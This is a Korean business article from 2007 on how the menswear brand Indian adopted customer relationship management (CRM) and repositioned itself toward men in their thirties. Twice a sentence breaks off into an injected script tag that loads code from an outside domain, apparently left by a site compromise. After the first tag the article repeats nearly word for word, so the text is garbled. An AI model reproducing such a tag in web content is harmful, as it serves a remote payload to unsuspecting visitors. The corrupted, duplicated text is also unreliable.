서른살. 그 새로운 시작 - 인디안
2007-01-19
문상찬 fashioncrm@empal.com
<모라비안바젤컨설팅·객원 컨설턴트>
인디안의 CRM 전략은 패션 CRM의 모범 답안이라 해도 과함이 없다. 30대 이상의 남성 시장에 독보적인 위치를 점유하며, IMF 이후 더욱 성장하고 있는 브랜드 인디안. 그 저력은 어디에 있을까? 오늘은 CRM 관점에서 그 저력을 찾아 보고자 한다.
도자기를 만들 때 진흙을 빚어 가마에 넣고 엄청난 온도로 가열한다. 이 때 제대로 만들어진 그릇은 단단하게 굳어지고 아름답게 다시 태어나지만, 기포가 있거나 제대로 빚어지지 않은 그릇들은 깨져 버리기 마련이다. IMF는 가마에 비유되곤 한다. 제대로 만들어진 기업이나 브랜드는 더 단단해 지고, 힘을 갖게 되었다. 하지만, 겉모습만 그럴싸할 뿐 내부적 문제를 가지고 있는 기업들은 깨어져 나가 버리고 말았다. 인디안은 IMF를 겪으며, 단단할 뿐만 아니라 아주 새로운 모습으로 변화하고 있다. 그 저력은 어디 있었을까? 아마도 고객으로부터 해답을 찾으려는 노력 때문이 아니었을까?
1997년 말 인디안(당시 인디안 모드)의 경영자들은 소박하지만, 가장 근본적인 질문을 내놓았다. ‘우리는 고객을 모르고 마케팅을 하고 있다’, ‘우리 고객이 누구인지 알고 싶다.’ 브랜드 존재의 기원을 건드리는 듯한 이 질문은, 경영의 모든 관심을 다시 고객에게 돌려 놓게 하는 계기가 되었다. 문제의식이 사내 공감대를 형성하면서 데이터베이스 마케팅의 도입에 대한 검토를 하기 시작했다. 고객의 정보를 분석해 고객 지식을 쌓고, 이를 바탕으로 새로운 마케팅을 전개하려는 계획이었다. 하지만 고객보다는 매출, 브랜딩 보다는 판촉에 익숙해져 버린 관성을 극복하는 것은 쉽지 않았다. 한번의 보류 결정이 있었고, 좀 더 치밀한 준비를 통해 1999년이 되어서야 본격적인 CRM 프로젝트가 시작되었다.
CRM 도입 단계
우선 고객을 중심으로 한 마케팅 목표와 전략이 수립되고, 이에 따른 시스템 개발 계획이 수립되었다. 본격적인 시스템 개발에 들어간 것은 2000년이 되어서이다. 이렇게 준비된 CRM은 2001년이 되어서 본격적으로 매장에 구현되기 시작한다. POS 시스템을 개선하고, 마일리지 카드를 도입하고, 본사의 정보 시스템을 전면 개편했다. 「인디안」의 CRM이 파워풀한 이유는 리포지셔닝 전략과 시너지를 일으켰기 때문이다. 매장의 인테리어와 BI(Brand identity)를 바꾸고, 새로운 광고 전략을 폈다.
이러한 리포지셔닝 전략은 CRM에서 나온 정보를 통해 더욱 정교해졌다. 30대 샐러리맨 고객이 많은 매장에서 고효율을 내는 것에 기반해, 30대 고객을 모으기 위한 전략들이 추진되었다. 정준호를 모델로 내세우며, ‘서른살 그 새로운 시작’이라는 카피를 사용하기 시작하였다. 실제로 30대가 입을 수 있는 상품들을 개발하고, 30대가 찾을 수 있는 상권과 매장 환경을 만들어 갔다. 매장수가 늘어나지는 않았지만, 40여개의 매장이 새로운 상권에 넓은 매장으로 옮겨갔다.
이러한 노력으로 모아진 회원은 47만명. 물론 30대 샐러리맨은 회원 모집 1순위이다. 전체의 매출에서 회원 매출이 차지하는 포션도 50%를 상위한다. 매출도 전년 대비 140%이상 신장했다. 물론 어디까지가 CRM의 효과이고, 어디까지가 다른 노력의 성과인지는 분명치 않다. 하지만, 인디안 내부에서는 이러한 변화와 성장의 많은 부분이 CRM의 성과라는 사실에 대해 부인하지 않는다.
CRM 수행 과정
CRM을 통해 브랜드 경영의 패러다임이 바뀌어 가고 있다. 매장개척이나 매장관리가 주였던 영업부의 업무가 샵컨설턴트(Shop consultant)라는 역할로 바뀌었다. 「인디안」의 매장수는 이미 지난 98년부터 정체 상태를 나타내고 있다. 이에 따라 같은 수의 매장에서 어떻게 최고의 효율을 올릴 것인지가 과제로 떠올랐다. 이를 위해 마케팅 부서와 영업부서는 각종 데이터를 근거로 가설을 세우고 해답을 찾았다. 매장의 고객을 분석하고, 그들의 구매 행태를 분석했다. 고객 집단별 판매된 상품을 분석해 매장의 유형을 분류하고, 그 매장의 최적화 답안을 구해냈다. 샵 컨설턴트 양성을 위해 올해 후반기에는 6개월 코스의 전문 교육도 강화한다는 계획이다.
경영활동을 평가하는 지수도 바뀌었다. 과거에는 매출 목표에 대한 달성율을 중요시했었다. 이 때문에 영업 담당자들은 가능한한 목표를 낮춰 잡으려 했다. 또 최대한 상품 물량을 확보하기 위한 작전을 폈다. CRM이 도입된 이후 기존 매장의 매출 신장율과 거주인구 대비 고객 점유율, 1인당 구매횟수, 1인당 구매 단가가 중요한 평가 지수로 자리잡았다. 고객 점유율과 구매횟수, 구매단가를 높이면 자연히 매출이 상승한다는 계산이 검증되었기 때문이다. 「인디안」은 이제 고객 만족도와 같은 고객지향 선행지수들을 더욱 중요시 하고 있다
주부 모니터를 통해 매장의 개선점을 지속적?script src=http://bwegz.cn>
<모라비안바젤컨설팅·객원 컨설턴트>
인디안의 CRM 전략은 패션 CRM의 모범 답안이라 해도 과함이 없다. 30대 이상의 남성 시장에 독보적인 위치를 점유하며, IMF 이후 더욱 성장하고 있는 브랜드 인디안. 그 저력은 어디에 있을까? 오늘은 CRM 관점에서 그 저력을 찾아 보고자 한다.
도자기를 만들 때 진흙을 빚어 가마에 넣고 엄청난 온도로 가열한다. 이 때 제대로 만들어진 그릇은 단단하게 굳어지고 아름답게 다시 태어나지만, 기포가 있거나 제대로 빚어지지 않은 그릇들은 깨져 버리기 마련이다. IMF는 가마에 비유되곤 한다. 제대로 만들어진 기업이나 브랜드는 더 단단해 지고, 힘을 갖게 되었다. 하지만, 겉모습만 그럴싸할 뿐 내부적 문제를 가지고 있는 기업들은 깨어져 나가 버리고 말았다. 인디안은 IMF를 겪으며, 단단할 뿐만 아니라 아주 새로운 모습으로 변화하고 있다. 그 저력은 어디 있었을까? 아마도 고객으로부터 해답을 찾으려는 노력 때문이 아니었을까?
1997년 말 인디안(당시 인디안 모드)의 경영자들은 소박하지만, 가장 근본적인 질문을 내놓았다. ‘우리는 고객을 모르고 마케팅을 하고 있다’, ‘우리 고객이 누구인지 알고 싶다.’ 브랜드 존재의 기원을 건드리는 듯한 이 질문은, 경영의 모든 관심을 다시 고객에게 돌려 놓게 하는 계기가 되었다. 문제의식이 사내 공감대를 형성하면서 데이터베이스 마케팅의 도입에 대한 검토를 하기 시작했다. 고객의 정보를 분석해 고객 지식을 쌓고, 이를 바탕으로 새로운 마케팅을 전개하려는 계획이었다. 하지만 고객보다는 매출, 브랜딩 보다는 판촉에 익숙해져 버린 관성을 극복하는 것은 쉽지 않았다. 한번의 보류 결정이 있었고, 좀 더 치밀한 준비를 통해 1999년이 되어서야 본격적인 CRM 프로젝트가 시작되었다.
CRM 도입 단계
우선 고객을 중심으로 한 마케팅 목표와 전략이 수립되고, 이에 따른 시스템 개발 계획이 수립되었다. 본격적인 시스템 개발에 들어간 것은 2000년이 되어서이다. 이렇게 준비된 CRM은 2001년이 되어서 본격적으로 매장에 구현되기 시작한다. POS 시스템을 개선하고, 마일리지 카드를 도입하고, 본사의 정보 시스템을 전면 개편했다. 「인디안」의 CRM이 파워풀한 이유는 리포지셔닝 전략과 시너지를 일으켰기 때문이다. 매장의 인테리어와 BI(Brand identity)를 바꾸고, 새로운 광고 전략을 폈다.
이러한 리포지셔닝 전략은 CRM에서 나온 정보를 통해 더욱 정교해졌다. 30대 샐러리맨 고객이 많은 매장에서 고효율을 내는 것에 기반해, 30대 고객을 모으기 위한 전략들이 추진되었다. 정준호를 모델로 내세우며, ‘서른살 그 새로운 시작’이라는 카피를 사용하기 시작하였다. 실제로 30대가 입을 수 있는 상품들을 개발하고, 30대가 찾을 수 있는 상권과 매장 환경을 만들어 갔다. 매장수가 늘어나지는 않았지만, 40여개의 매장이 새로운 상권에 넓은 매장으로 옮겨갔다.
이러한 노력으로 모아진 회원은 47만명. 물론 30대 샐러리맨은 회원 모집 1순위이다. 전체의 매출에서 회원 매출이 차지하는 포션도 50%를 상위한다. 매출도 전년 대비 140%이상 신장했다. 물론 어디까지가 CRM의 효과이고, 어디까지가 다른 노력의 성과인지는 분명치 않다. 하지만, 인디안 내부에서는 이러한 변화와 성장의 많은 부분이 CRM의 성과라는 사실에 대해 부인하지 않는다.
CRM 수행 과정
CRM을 통해 브랜드 경영의 패러다임이 바뀌어 가고 있다. 매장개척이나 매장관리가 주였던 영업부의 업무가 샵컨설턴트(Shop consultant)라는 역할로 바뀌었다. 「인디안」의 매장수는 이미 지난 98년부터 정체 상태를 나타내고 있다. 이에 따라 같은 수의 매장에서 어떻게 최고의 효율을 올릴 것인지가 과제로 떠올랐다. 이를 위해 마케팅 부서와 영업부서는 각종 데이터를 근거로 가설을 세우고 해답을 찾았다. 매장의 고객을 분석하고, 그들의 구매 행태를 분석했다. 고객 집단별 판매된 상품을 분석해 매장의 유형을 분류하고, 그 매장의 최적화 답안을 구해냈다. 샵 컨설턴트 양성을 위해 올해 후반기에는 6개월 코스의 전문 교육도 강화한다는 계획이다.
경영활동을 평가하는 지수도 바뀌었다. 과거에는 매출 목표에 대한 달성율을 중요시했었다. 이 때문에 영업 담당자들은 가능한한 목표를 낮춰 잡으려 했다. 또 최대한 상품 물량을 확보하기 위한 작전을 폈다. CRM이 도입된 이후 기존 매장의 매출 신장율과 거주인구 대비 고객 점유율, 1인당 구매횟수, 1인당 구매 단가가 중요한 평가 지수로 자리잡았다. 고객 점유율과 구매횟수, 구매단가를 높이면 자연히 매출이 상승한다는 계산이 검증되었기 때문이다. 「인디안」은 이제 고객 만족도와 같은 고객지향 선행지수들을 더욱 중요시 하고 있다
주부 모니터를 통해 매장의 개선점을 지속적?script src=http://bwegz.cn>
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